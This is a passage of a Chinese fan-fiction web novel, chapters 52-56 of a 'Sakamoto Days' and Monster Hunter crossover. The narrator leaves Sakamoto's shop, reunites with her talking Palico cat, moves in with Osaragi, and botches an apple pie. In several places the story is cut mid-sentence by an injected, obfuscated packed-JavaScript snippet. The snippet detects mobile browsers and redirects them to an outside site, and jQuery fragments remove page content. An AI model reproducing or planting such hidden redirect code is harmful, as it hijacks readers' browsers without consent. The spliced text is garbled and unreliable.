老板厚厚的镜片中折射出些许不解。 阿豹插着兜咂了咂嘴:“又见面了坂本。这次来,是有件事想问你。” 南云伸出一根手指晃悠着附和道:“对哦,有件事要告诉你!” 随即他戳了戳我的手臂,用口型示意我接着说下去。 “对不起,老板!很抱歉我马上要离家出走,跟他们干了!” 我迈出一步向前。 52.ORDER,但是见习期 1. 坂本太郎瞳孔地震,脸上的肥肉都颤了两颤。饶是平常怎样波澜不惊的一个人,这会儿都竖着眉毛从床上爬起来,锐利的眼神在我们几人之间巡逻。 “不是、情报呢?你到底是……” 阿豹咂嘴,额角有些青筋暴起地看着我道。 南云看热闹不嫌事大,笑着对阿豹随意糊弄了两句,不过我也知道要解释清楚自己和坂本商店的渊源不是现在一句两句能说得清楚的。 十分不自在地交换着双腿站立的重心,我挠了挠眉角,感知到坂本充满压迫感的凝视已然转向南云。他说:“是你出的主意吧。” “没她本人同意也没法落实呀。”南云坐到床头给自己剥了个橘子,“你那天说过尊重她的选择的吧。” “啧,我哪儿知道是这……算了,其实也算有所预料。” 他低头看着床脚,再次开口时却是对我说话:“夜子,不管在哪儿,都要对自己好一点。” 我说,好,我知道了。 他又说,夜子,新同事对你不好的话,绝对要像这样狠狠地反击过去。说着就把南云从床上踹了下去。 我说,好的,我会这么做的。 老板,你别一口气说这么多话了,我不习惯。 2. 阿豹其实还想接着问坂本,有关与斯拉对战的细节。不过坂本按了按太阳穴,最后提出说要进行情报交换,不然不会多说一个字,害得阿豹差点直接暴起,在医院发生一场无谓的争斗。 不过我及时拉住了他,而原打算缄口不言的南云也恰到好处地开口: “其实昨天坂本已经告诉我了,更何况我们的新同事也是亲历者哦~” “哈?”阿豹显然更生气了,并且把怒气转移到了他身上,“那今天有什么必要……你把我当司机啊臭小子!” 在医院里吵闹可不妙啊。 见状我连忙一手一个,将二人试着推开到门口,回头对冷着一张脸的坂本说: “那既然这样,老板,我们就先走了。” 3. 没走成。 葵几人正好堵在了门口。 我就知道有这样一道门槛,如此恐怖的现实。 葵正叉着腰仰头死死盯住我的眼睛,少糖如同八爪鱼般缠在我身上掉眼泪,朝仓信局促地站在不远处满脸错愕。 但葵最终只是叹了口气:“只是离家出走的话,还可以接受啦……别忘了我们商店可是专门让杀手们改邪归正的地方哦。” 她踮起脚尖轻柔地抚摸着我的头顶,“照顾好自己,我会好好和小花说的”,最后一个迟疑的拥抱后,她在我耳边留下了低声呢喃。 4. 在少糖“常回家看看”的抽泣声中,我尽力铁石心肠地和南云与阿豹离开了病房。 “斯拉的事,去天台聊聊?” 阿豹依旧记挂着工作。 天台吹来的风很清凉,高处的空旷地总给人种“自由”的感觉。 水泥地有些坑坑洼洼,不过也因为这不平坦、不完美,让我们放轻松了些。 天台的另一处角落里,已有两名女医生占去了位置,台上餐盘里放着一大堆清空的糖浆。 我点点头向她们示意:你们说你们的,我们说我们的。 南云倚靠在天台边,眯着眼睛侧头看这座城市的天际线,阿豹踢了脚空地上的小石子,声音被风吹得些许变了形: “斯拉那到底是怎么一回事?” “斯拉叫做有月憬。”我和南云异口同声道。 他惊诧地皱了皱眉:“你也认识他?” “是。那就先我说吧。”我舔舔嘴唇。 待我从游轮上的初遇,一直说到了好似梦境般的VR晚会,最后以甲板上的告别总结,二人都听得愣愣的。 我也知道,这确实巧合得过分。 叹了口气道:“那个时候,我觉得憬是我一辈子最好的朋友了。” “憬?” “啊,抱歉,叫顺口了很难改过来。” 南云沉思了会儿,无意识垂眸摩挲着下巴:“那就是说,我们需要知道他去游轮上谈的,到底是哪一笔交易。” 阿豹把手指掰得嘎吱响:“你还记得那个交易对象叫什么名字吗?” 很难不记得。我想起那张支票上歪歪扭扭的字迹。 “岩永东彦。”我说,“好像是个有钱的傻子。” 5. 实则不然。 南云和阿豹对视一眼,鼓着脸有些好笑地说:“他是国内两家新媒体巨头之一啊小烈焰,应该不是你想的那种类型的傻子。” “我也听说过这人,说是颠倒黑白的一把好手,毫无道德底线啊。” “但是他英语说得真的很烂呢。” “唔……总之我了解了!”南云拍拍我脑袋,仿佛在示意我做得好,“怪不得那个嚣张的社长最近有些销声匿迹了呢。” “那你呢?坂本和你说什么了。”阿豹接着问。 我看见南云的眼眸暗了一瞬,似乎有种悠久的怀念流淌而出。 他说:“那个人啊,是我们jcc时代的同期,原本应该是已经死在坂本刀下的亡魂了。” 我不由得脱口而出:“啊,赤尾、莉昂?” “这都被你知道了?”南云淡淡地笑了笑。 “他俩打架的时候听见的。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15503521|163021||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 南云说那是个很长的故事了,之后抽空再讲给我听。 不过我和阿豹有一个共同的疑问: “确实,我学生时代的时候老是听见你们仨的名字,不过那个有月……闻所未闻,是什么厉害角色吗?” “当时在船上,他就一直把活儿交给阿乐干,在杀联的时候,他打架也轻飘飘的,这人是在演吗?” 南云摇头:“那人在当时并不出众。不过,人总是会变的,有些事,真正打过以后才知道。” “装什么深沉呢,我真想把你从这里踹下去。” 阿豹背过身去。 我和南云对视着,不约而同笑了。 6. 南云说调查的事情就交给他了,现在我需要做的事,是调整心情以及准备好入职杀联后的一系列麻烦事。 “是和会长答应的交换条件呢。”他眨眨眼,“你现在还算不上准ORDER,只能以见习ORDER的身份活动——你懂的吧,实习生会莫名其妙有很多事要干的。” “啊,好吧。”这句话,我在晨间剧里听过的。 不过只是工作而已,我觉得并无所谓。 7. 离开医院后,我就挥手与南云、阿豹告别。 ——我还有自己的事要做。 于是我握拳,来到了憩来坂商店街的咖啡厅门口。 装潢还是那样的温馨动人,光是站在门口,就能闻到阵阵飘出的咖啡香;然而我觉得这家店绝对有些不对劲。 或者说,我早该怀疑到这里卖的兔团子身上的,虽然店主梨香姐姐总是否认这个问题。 “叮铃铃——” 推门而入,梨香正托着下巴苦恼地坐在柜台前,我暗暗活动了把关节开口: “梨香姐,我想知道这里卖的团子,是谁教给你做的?” 她的表情微微有些动摇,随即就摆摆手释然地笑着说:“没有啊,就是照着食谱做的哦~” 指关节叩动玻璃桌面,我大声否认:“不可能!正常人哪儿会做出来能加体力和耐力,而且还提升了爆破属性会心率的甜品啊!” “真的……什么都没有哦……”梨香缓缓贴近我的脸侧,极力否认着。 为什么要这样拒绝承认?只是做个兔团子并不是什么见不得人的事吧! 我正欲反驳,不远处的后厨那边猛地传来“哐当”一声锅子掉落的声音。 有人! 我冲出梨香的阻拦,一把跑去掀开后厨的门帘! 除去香甜的气息以外,我还看见了一坨被大锅压在底下扑腾的、不明蓝色圆润物体。 我眨眨眼:“……你是,冷傲小童?” 53.老大,想你了喵 1. “是你吗,冷傲小童?” 当我一不小心说出这句话时,四周的空气都静默了许久。 “呜哇!老大!说了不许再那么叫我喵!” 这坨蓝色巨物把身上的大锅抖了下去,随即一路摇摇晃晃跑到我脚边,大白馒头一样的爪子奋力挠着我的小腿。 比欣喜更快一步的,是我发自内心的不堪欲望——我两眼发光,迅速弯腰把越发沉重的小猫咪抱了起来,然后把脸埋在猫咪暖暖的肚子里一顿乱吸。 “小冷我好想你啊!” “笨蛋老大!我忍你很久了喵!揍你揍你揍你!——” 柔软的球状四肢张牙舞爪地在我头边挥舞,微不可察地攻击着我。哎,我可一点儿都感觉不到痛。^^ 一手揽住小猫咪在怀里,一手肆意地揉搓着那对软乎乎的猫耳朵,我短暂性忘记了所有要务,挟持着小冷坐到了离后厨最近的那个座位。 2. 咖啡厅一如既往地没什么顾客光顾,梨香抿唇紧绷着神经走到店门口,将"欢迎光临"的木牌翻转到"暂时闭店"那一面,随即端来两杯柠檬水,在我对面落座。 她显然对于我一不小心、或者说是存心撞破了自己的秘密而惴惴不安,指尖搅动着碎发,浅浅饮下一口柠檬水后试探性问道: “你们关系真好啊……就是,那个,你是前任魔法少女吗?” “诶?什么……魔法、少女?” 一下子没能缓过来,我低头和小猫咪那双大智若愚正装傻卖萌的黑色眼瞳面面相觑。 不是、这坏猫跟人说了什么啊? 见状,梨香连忙捂起了嘴,闷闷道:“啊抱歉,要不你们还是先好好团聚吧……” “没事。”我将猫放到了一旁的座位上,"相亲相爱只是表象,我和这个小家伙本来一般十分钟后就会相看两厌的。" 所以谁来给我解释一下魔法少女又是什么设定? 3. 总之还是先介绍一下我这边的大致情况吧。 此猫名为"冷傲",是我在家乡的艾露猫随从,虽然从外形上来看,只是一只看起来很睿智的未开化生物,不过实则不然。 从物种上来说,冷傲还是属于兽人族,甚至是其中较为聪慧能通人语的那一批,更甚者,小家伙还是一名战斗型随从。 冷傲是我的好伙伴,而且是我那群随从中年纪最小的那个,战斗力足以成为我后期常带出去征战的几位座下童子之一。 然后这样的小冷,现在在这里当点心师傅。 梨香和我诉说了一个毫不相干的故事,在这个故事里,冷傲曾经是一名魔法少女的契约使者,然而这位魔法少女却因为好吃懒做从自己身边逃走了,于是冷傲不得不消耗大量魔力,追随至异世界来,也正因此造成魔力枯竭,只能化作猫咪的形态,独自在异世界流浪…… “冷冷跟我说,必须通过收集食物产生的星之能量才能让魔力复苏,然后就请求我以料理鼠王的形式,我开店猫做饭,不能让外人看出端倪,否则就无法找到以前的魔法少女拯救世界了。” 我:“早说呀小冷,我看你还当什么甜点师傅啊,以后也别跟着我打架了,早点转行去写小说怎么样啊。” "老大……" “别装了!你那两滴眼泪很假啊!” “喵~喵喵~” “也不许装真猫啊!……哼,过来给我搓搓。” 怀里抱着猫,我转头对梨香说:“这臭猫在骗你呢。不过关于我们是''异世界来客''这个话题倒是没错,总之这一个月来麻烦你了。” 4. “所以冷冷你这就要离开了吗?” 梨香嘟嘴说着,话里有些犹豫。 冷傲眼珠子咕噜一转:“你还在担心自己实力不够吗喵?” 梨香点点头,然后猫一下跳上我的肩头:“你的点心很好吃喵。其实店里只有兔团子没人买,除了我们的蠢老大喵。要像老大一样盲目自信喵!” “混蛋臭猫在讲什么胡话!” 5. 走出咖啡厅的时候,感觉发丝都飘着咖啡味。 门口的铃铛正如我来时那样清脆地响动了,梨香站在门口,小幅度地与我们挥着手告别,她头上正别着小冷闲时一刀一刀打磨出的矿石鲤鱼发卡,那幽蓝的色泽在斜照的夕阳下显得愈发闪耀。 6. “我知道你现在很想唠嗑,但先别和我说话可以吗?” 我两手环抱着巨大无比的道具箱,臂弯里还提着两大袋不方便收纳的零碎物品,颤颤巍巍走在前往大佛家的车站。 然后强行制止了妄图跳上道具箱并和我聊天的艾露猫。 艾露猫不语,只是一味地盘在我的靴子上,咬定皮靴不放松。 啧。真是黏牙。 要不是我烈焰大人身强体壮,非把你甩下来不可。 我笑了笑,慢悠悠一人一猫沿着街道向前走去。 7. 是的,就在刚刚,我和艾露猫以全速冲刺,从坂本家把我所有的行李偷了出来,并抵达了新据点:神秘的大佛家。 大佛仍在工作,不过据她说很快就会下班回家。 想着等等就好,我俩便一人/猫买了一根冰棒,坐在摆在家门口的道具箱上吸溜着打发时间。 于是决定趁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15514882|163021||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 此机会了解一下冷傲、还有我本人出现在这个世界的原因。 猫咪长着倒刺的舌头兴冲冲舔舐着甜滋滋的汁水,小冷摇头晃脑着道:“三个月前,老大不知道在哪丢了喵。普贤和岁丰稔……” “怎么说话呢,放尊重点。” "好吧喵……连村长和经纪人都不知道怎么办才好喵。但是在一个月亮圆圆的夜里,隐秘探险队员发现了不对劲喵!" 冷傲叉腰认真看着我:“废神社的妖怪玉藻前现身了喵!一边在月亮下发出很亮的光一边对着山嗷嗷叫,队员们顺着方向,在山洞里的神龛前面发现了一个睡着的奇怪人类喵!” “什么人?” "不知道喵~好奇怪的说,所以我们还是去屋顶上找了玉藻前喵。刚走到对面的山崖,就听到轰地一声,我们掉到了玉藻前旁边喵。" “没受伤吧?”我忍不住打断问道。 “没有受伤,不过玉藻前和我们说话了喵!”冷傲在道具箱上跳了起来,"玉藻前可以找到老大,不过力量只够送一个队员来喵……" 我大致理解了。 这件事和废神社时不时出现的玉藻前有关,我是有所心理准备的——毕竟,三年前那个夜晚,我也见过那只莫名散发着柔光的狐狸。 当时我正失眠,便散步到了山里,闲来无事在满山的山洞里乱爬,当我在某个出口看到亮光时…… 还是不说了,这毕竟不太光彩。 月光下的玉藻前、两边世界不同的时间流速、昏迷在山中的不速来客,这一切都仿佛在暗中低语着: 烈焰啊,快出发吧,去完成那个只有你能完成的任务。 8. 大佛回家看来比预计的还要晚,随着夕阳下沉,坐在门口的体感温度也有所降低。我把小冷抱进怀里挡风,即便如此,此猫还是跃跃欲试地想要乱蹦。 “小冷你到时候还是安分点吧。”我摁住猫脑袋,"大佛,就是这房子的主人、我的朋友,她可没有水芸那么好说话。" “老大没有房子,混得好差喵。” “马上就有了!”愤怒摇晃猫耳朵。 揉猫团子正在兴头上,而一旁的转角传来熟悉的脚步声,大佛终于下班了。 “啊,猫咪面包。” 她眼睛一亮,提着擦干血迹的圆盘电锯向我们走来。 我抱着小冷向她挥手打着招呼,小冷暂时也较为识相地跟着我开口: “你好老大的朋友,我是冷傲,请多指教喵!” 然而正是在这一瞬间大佛呆愣在原地,宕机了几秒后汗水不住地流下发青的脸颊: “……会说话的猫、猫鬼!?” 54.你好,这是一个番外[番外] 南云——爱情线 争做全网第一个狗塑此男的,没错们烈焰就是训狗大师(?)其实也有点像是猫咪为了讨好主人装作是狗狗的样子 一开始只是好奇,想着试探出现在往日好友身边的神秘女子究竟是什么来头,但是被坂本太郎一番劝告后反而起了疑心,开始关注烈焰的动向 在相处中屡屡被烈焰的直球给“攻击”到,可能说是攻陷比较好,不过在见证了烈焰的强大能力后也有慕强情结,总之就是说服自己只是为了观察烈焰而演戏 因为好胜心所以在感觉到烈焰将自己视作排位很前的朋友时内心时不时暗爽,丝毫没觉得自己有把烈焰这只大狗狗当作恋爱对象的心思 发觉到自己越发依赖烈焰给自己的情绪价值,即一心一意只想着你时,终于意识到可能对她别有心思,甚至许下了“在你面前绝不说谎”的诺言× 朝仓信——爱情线 完全的慕强者以及吊桥效应受害者,大概是那种做了情夫还以为自己是正宫的类型,“离开烈焰就很脆弱”的男子一枚 情感线不用说了,完全是自我攻略以及倒贴型恋爱脑,自我奉献精神浓烈,某种意义上和烈焰十分相似,总之就是那种开局新手村白给的情缘,狗皮膏药一样死都甩不掉的那种,从头到尾都是为烈焰担惊受怕,吃一吃飞来横醋但是一下就能哄好的小后辈 后期察觉到烈焰无法抗拒的东西之一就是作为前辈于是死死缠住这一点,利用自己的身份让烈焰可怜可怜自己,但心机也仅限于此,被其他人狠狠比了下去,较为独特的是“亲爱的小后辈”这一称呼,他一个人躺在床上品味了很久 神神廻——爱情线 因为发色所以被爱上的正宫(?),有一种很蹊跷的诡异感,对烈焰完全是母爱变质,有一种深深的不配得感与道德谴责感但也惊讶于其他人的主动出击:对笨蛋出手算不算诱拐这类无谓的心理挣扎 一开始对烈焰的示好甚至嫌烦,大概是i人对e人的畏惧,不断被打破心理防线,因为一直带孩子所以下意识习惯性将烈焰放入了这一角色中,因此实际上也被烈焰一直在不动声色地打破社交距离防线,属于是对问题儿童的纵容 这个印象被烈焰超乎寻常的能力以及过分的牺牲精神所扭转了,由观察者的身份逐渐入局,却意外被烈焰保护了,这种感觉让他很“不适”,本以为他们有足够多的时间来让他消化这段感情,但没想到烈焰和斯拉扯上了关系,于是再次内心拷问自己——呵呵没错啦和烈焰待在一起还要想七想八思考这个可不可以那个行不行的也就只有你一个人啦 最终还是抛弃了杀联选择了烈焰,但实际上他千般万般纠结的道德关卡并不成立,因为烈焰是双面间谍(笑),谁叫她两边都有立场 大佛——友情线(频道使我只能这么写) 我说我们之间是纯友谊但是没有人相信的那种友情 两个人是非常的“情投意合”啊,因为是黑猫的直觉那种,一开始是吃饭好饭友这种感觉,不过很快变成了大佛的占有欲,有着出奇的对烈焰手臂的占有欲,大概是“栖息地”的设定 很难具体描述那种近乎小动物般的依恋,总之她俩的感情线没有什么特别的转变,有的只有从无到有由0至1的状态 有月憬——爱情线

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15521992|163021||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 反社会分子的救济之光?不存在的,只有火葬场然后持续不断地被烈焰暴打,甚至有些抖M的倾向了 初次见面是一种对烈焰实力的欣赏和对其潜力的好奇,想要吸收她进入组织,后来发现烈焰是坂本太郎手下的人于是好整以暇地留下悬念,心里在暗暗设计再次相遇的场景 之后见面是在死囚篇,在东京塔的时候其实心里也在期待烈焰再次相遇的时候会说些什么,没想到她风轻云淡又兴高采烈地打招呼,还想作妖但是被烈焰揪住了一记(物理)直球解决 之后再斗就颇有一种“我看着你闹你也逃不出我的手掌心”的感觉,求你了有月别再跳脚了,马上烈焰就来揍扁你了 对于烈焰不太像爱情更像是一种执念,没什么占有欲,甚至可以接受盖饭 乐——亲>爱情线 这又是个慕强批,占有欲极强的那种,喜欢像大型狗狗一样圈着烈焰的感觉但基本无法得逞,后来研究出来只要示弱就可以得到这个位置 对烈焰的态度随着见证她的实力而改变,一直期待和烈焰有一次完美的打斗,可能是宿敌吧 自从得知烈焰是游戏角色后默默玩起了《怪物猎人:崛起》,非常幽默地选择了大锤然后被烈焰手把手整治了:太刀不好吗为什么不玩太刀!?——于是乎又开了一个新档 出乎意料地和呆猫玩得很好,了解了各种“一线情报”,然而并未据此和烈焰套近乎,在他看来烈焰就是现在的烈焰,是偷偷敬畏的aniki,是一团触手可及的、环绕着老大的迷雾,是的他根本没把其他对象放在眼里(某些人超级直观地宣示主权会被他直接无视) 55.苹果派与女生日记 1. 猫被吓到了,直接一下子窜到了我背后。 然而说到惊吓,大佛这边的程度恐怕更深。 幻听到她浑身的关节咯吱响,我捂住猫嘴从道具箱上一跃而下,轻轻晃动她的手臂: “不是猫鬼是艾露猫啦。小冷可是我的好朋友哟。” 说着,我示意性地端起猫头到她面前揉了把,冷傲由于被我捂着嘴所以作不了什么妖,“安心安心~”,我用眼神怂恿大佛也可以直接上手。 大佛终于恢复了些神采,看不出聚焦的黑色眸子视线下移,盯了一会儿后毫无预兆地把手上东西松开摔到地上,充满力量的手掌一下附上艾露猫的脸颊。 “很软。”大佛点评着。 那很好了,看起来我的两位朋友也会成为朋友,真是一桩美谈。 2. 冷傲似乎不这么想。 大佛打开房门后,迈着轻快的步伐往里跑去了。 我拽着行李往里拖,冷傲就跟在一旁叫唤:“那个人竟然说我是妖怪,不可原谅喵!” “还在傲什么呀小冷,明明刚被挠下巴都舒服得‘niania’叫了。” 话音未落,就发现蓝色团子已经冲到沙发上毫不见外地与几个抱枕争斗起来了。 而大佛此时从卧房中提着裙摆小跑出来,面色兴冲冲地,手里似乎还拿着一张……光碟? 我问:“这是啥?” 她喜滋滋地展示着封面:“是恐怖片哦~我还从来没有和朋友一起在家看电影,所以想和你……” “好啊。”我不假思索道,“但是你确定……确定要看这个,《德州电锯杀人狂》吗?” 很难忍住不去看如今正靠在门口边放着的圆盘电锯。 大佛郑重其事地点点头:“嗯!不知道为什么,总有种奇怪的亲切感呢……” 这很难不亲切吧大佛! 3. 比起看电影,有一件很重要的事摆在我面前: 我饿了,而且是非常饿。 翻了一遍冰箱却发现里面只冰着一些饮料和一看就过期了的奶油面包,我皱着眉把已经不成形的面包拎出来扔进垃圾桶: “大佛,这东西看起来过期好久了……你放着不吃吗?” 她坐在茶几前抬眼看向我这边的厨房,幽幽开口说道:“很难吃,不想吃。” “那为什么都发霉了还不扔掉啊!” 她默默转移视线,低声回道:“因为不想看到。” 哦,天呐。 我略感惊悚地后退了一步,总觉得在接下来借宿的几天里,日子不会很安宁。 4. 问题还没有解决:到底要出去吃饭呢,还是叫外卖呢,还是……? 大佛:“和朋友一起在家烧饭什么的感觉也很不错哦!”星星眼。 我略感怀疑。 5. 三秒后我不得不提出了一个现实: “可是我们冰箱里有零个食材诶,怎么办?” 大佛说我们可以去楼下超市买。 我说那你有什么想做的菜吗。 大佛说不知道。 我说那你有什么会做的菜吗。 大佛说没有。 我说,这不是巧了吗,我也不会做菜。 没事的,车到山前必有路,大佛独居这么久,不也没饿死吗? “喂,神神廻先生,做饭要怎么做才好?” 原来是这样。 6. 我走过去坐到大佛身边,她便下意识打开电话公放: “……你家附近的711今天是倒闭了吗?” 里面传来一个无奈的男声。 大佛仍旧固执地问道:“神神廻先生,我想要做好吃的、砰一下就能做好的菜。” “为什么是砰一下,变魔法吗……不是、就算是问我也没有用啊大佛……” 冷傲在沙发那头蹦跶,将我们摇晃得此起彼伏。不知爪子踩到了丢在哪里的遥控器,电视机滋啦一声打开了。 大佛抬头看了一眼闪现的电视广告:“夜子,我们就来做苹果派吧。” “夜子?”神神廻疑惑地开口。 “神神廻先生,我忘记通知你了,接下来一周夜子都要住在我家哦。是夜子本人哦。” “你那副高高在上的样子是想显摆什么啊?”神神廻嘟囔着,“夜子,你怎么想?” 那种担忧的语气仿佛在跟我说:你也要跟着大佛胡闹吗? 我其实也很跃跃欲试:“说不定会有什么新手一学就会的烹饪教程呢?而且神神廻先生会帮我们的对吧?” “唔……你这。”他明显哽住了一瞬,“我说我是你们的什么人啊?” “帮忙了就是恩人吧。”我说。 “我可不想做什么恩人。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15536274|163021||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 神神廻啧了一声。 7. 并未从这通电话中商讨出什么结果,大佛便果断挂断电话,浑身干劲地搜索起了或许存在的包教包会新手一点通苹果派烹饪教程。 我凑在她一边跟着看,其实这些教程大同小异,各有各的特色。 大佛眼看着注意力就要被花式成品宣传图引去注意,我便主动提出分工合作: “大佛你继续找教程,我先去超市买点食材和晚上看电影的零食哦!” 我抱上小冷,这就穿着拖鞋出了门。 或许是更靠近市中心的缘故,我比对着价格,感觉这里的每样商品都比坂本商店卖的贵。 我叹了口气,只是一味后悔离开的时候没再多带点店里的零食走。 模具、低筋面粉、黄油、细砂糖、苹果……我推着购物车在货架间走动着,车里别无商品,只有一只探头探脑的艾露猫。 “老大,冰柜好凉凉喵~” 冷傲伸手在我面前晃来晃去。 好吧。我懂。 一把将其从购物车里捞了出来,冷傲极其享受地钻进我怀里。我就这样一手抱猫,一手推车往前走: “你不是前甜点师傅吗?知不知道买什么牌子比较好啊?” 猫得意地哼哼两声:“当然了喵!” 说到这个冷傲就来劲了,一下子直起身在我耳朵旁边指点江山。 购物车渐渐充盈,也越来越沉,我在货架间飞奔着,总感觉自己像是个带娃单亲妈妈。 清点了下车内物品,我发觉还有最重要的一项没买。 大佛家里没烤箱吧? 走到家电区,可供选择的烤箱有许多,这却涉及了小冷的知识盲区。 我叹了口气,决定拿出终极武器: “喂,神神廻先生,烤箱买什么牌子比较好?” “主动打电话过来就为了这个?” 他过了一会儿才接起电话,电话那头传来滴滴答答的水声。 “这是大事。”我坚决否认道,“有好多牌子啊,你知道哪个能做出最棒的苹果派吗?” “呃、不,这并不直接挂钩吧?” “比如说这个牌子……怎么念啊?好像是长得非常扭曲的外语?” 我皱眉道,“诶!我直接开摄像头吧!神神廻先生你帮忙选一下好不好?” “啊!不是!你等等!” 56.开门,不是外卖员。 1. 事不宜迟,我当即就按下“转为视频通话”按键,短暂的一阵黑屏过后,我满怀期待地盯着屏幕—— 啊,纯黑的倒影。 “神神廻、神神廻先生?” 我握着手机呼叫道。 电话那头传来轻声的叹气,衣物摩挲着,间隔着他无奈的说明: “不要突袭啊,像流氓一样……等我十秒。” 于是,十秒后,手机屏幕终于发亮,柔和的卫浴顶灯下,神神廻金色的身影凑近过来,伸出一根手指擦拭了下摄像头,我的视野终于变得清晰: 他端着手机在房里走动,浅金色的发丝潮湿而顺滑,妥帖地搭在左肩肩头。他走动时摄像头从偏下方拍摄,不设防地露出仍旧淌着水珠的脖颈,从下巴处暗色疤痕一路蔓延至了白色浴袍尚未遮掩住的锁骨,最终渗进布料再也看不见。 我把手机面对着身前一排或大或小的烤箱扫过去,迟疑地问道:“能看清吗?” 神神廻接了一杯直饮水,坐下来在沙发上眯着眼查看:“烤箱的话,我推荐你们就买最便宜的好了。” “为什么?” “这样爆炸了以后就不会那么心疼。” “神神廻先生不要诅咒我们啊!到时候做不好都怪你哦!” “……已经连理由都想好了吗?算了,真要说的话,就买和我家一样的型号吧。” 神神廻抿了口凉水,将手机靠在桌上,空出手取了些护发精油之类的东西往头发上抹,没在看屏幕,然而我却就这样在屏幕外盯了他很久。 他自顾自地开口:“说不定用法解释起来更方便些……不对,为什么已经设想到又一次被求助的画面了啊。” 我眨眨眼不予置否,也许沉默就是最好的回答。 最后还是真选了神神廻同款的烤箱,刷的是南云给我开通的说是杀手专用卡,里面有他给我存着的那两张支票的钱,据他的说法是“保证永远都不会让我有花完的那天”。 难不成还有钱生钱的功能? 2. 当我再一次提着大包小包走回大佛家时,我便看到她正以一种令人惶恐的战斗姿态伫立在厨房灶台前,手里还握着一对锋利刀具。 “大佛你系着这个围裙好像战斗女仆哦。”我走到她身旁,放下她看起来似乎很危险的姿势,“东西我都买回来了,那现在就一起来做苹果派吧!” 手机上下载了菜谱可以随时查看,我和大佛一人占据厨房一角,我和面她切水果,一切都进行得井然有序有条不紊。 不是我过分自信,而是感觉做苹果派真的挺简单的,菜谱上也就那么寥寥几步步骤,只要这样那样再这样,就能烤出一个像模像样的作品了。 大佛切完苹果之后就闲下来和我一起揉面团,菜谱里着重标注了“一定要揉得均匀”,所以我俩都很用力地搓了,差点没把桌面干裂。 总之,差不多那样了以后,就将面团密封起来放进冰箱,然后在等待冷藏的半小时里,制作香甜的苹果馅。 苹果照理来说要切成丁,不过我觉得现在这个块状也不是不行。 再下一步是放进锅里和黄油以及白糖一起加热,由于学习使用锅子花了点时间,我和大佛对视一眼,不得不把小火改成大火,想必能加速完成馅料的制作。 颜色变得深了一些,大佛担忧地看着我,不过我猜这可能是苹果正常的氧化现象,应该不用担心。 接下来的步骤就更简单了,只要把面团放进模具里,倒进馅料,然后像编竹篓一样装上一个顶,放进烤箱里,设置好时间,就可以到外面看着电视等吃饭了。 我和大佛瘫坐在沙发上,电视机里放着小冷乱按打开的纪录片,我叹了口气说道:“感觉做饭很有成就感呢!没想到其实还挺简单的!” “是啊,我有预感绝对会很好吃的。”大佛靠在我的手臂上说。 然而猫非要在这时候来泼冷水:“老大太自信了喵。” “喵什么喵,你行你上。” “虽然没做过苹果派,但是我也是个甜点师傅喵~” 这样啊。 我败下阵来。不过我会用成品证明自己的! 3. “叮”一声,厨房传来了烤箱表示制作完毕的声音。 我们二人几乎是从沙发上弹跳起来,交换了一个眼神,便一个拿手套,一个拿盘子,充满期待地凑到了烤箱前。 “三、二、一!” 然后我们拿出来了一坨不明物体。 4. 诶喂喂喂!不该是这样的吧! 明明都是按照菜谱做的啊? 除了临时突发情况不得不做的一些小小的变动,一切都很完美…… 为什么会拿出来这样一坨烂乎乎又几乎要裂开的熔岩一般的物体啊! 5. 是神神廻和艾露猫远程诅咒的吧。 6. “大佛,怎么办?” 她比我冷静些,眼睛眨也不眨地把东西塞回烤箱: “再10分钟就会好了。我想睡一会儿。” 大佛言之凿凿地说着,眼神却有些飘忽。 但如今也没有办法了,除了再多烤10分钟别无他法。 至少能留出十分钟给我消化一下未来的事实。 小冷在厨房门前踱着步,时不时探头探脑进来观察我俩的神色。大佛离开后,我想小冷差不多也能意会到现在的情况,于是果不其然地被嘲讽了。 我叉腰:“那你,猫,去给我炒俩菜。” 小冷非常高傲地撅着屁股走了。 7. 神神廻再次接到我的电话时,感觉他的声音听起来已经驾轻就熟。 “希望你是来告诉我什么好消息的。” 我顿了一会儿:“怎么不算呢,因为烤箱并没有爆炸。” “那打电话给我想干什么呢?” 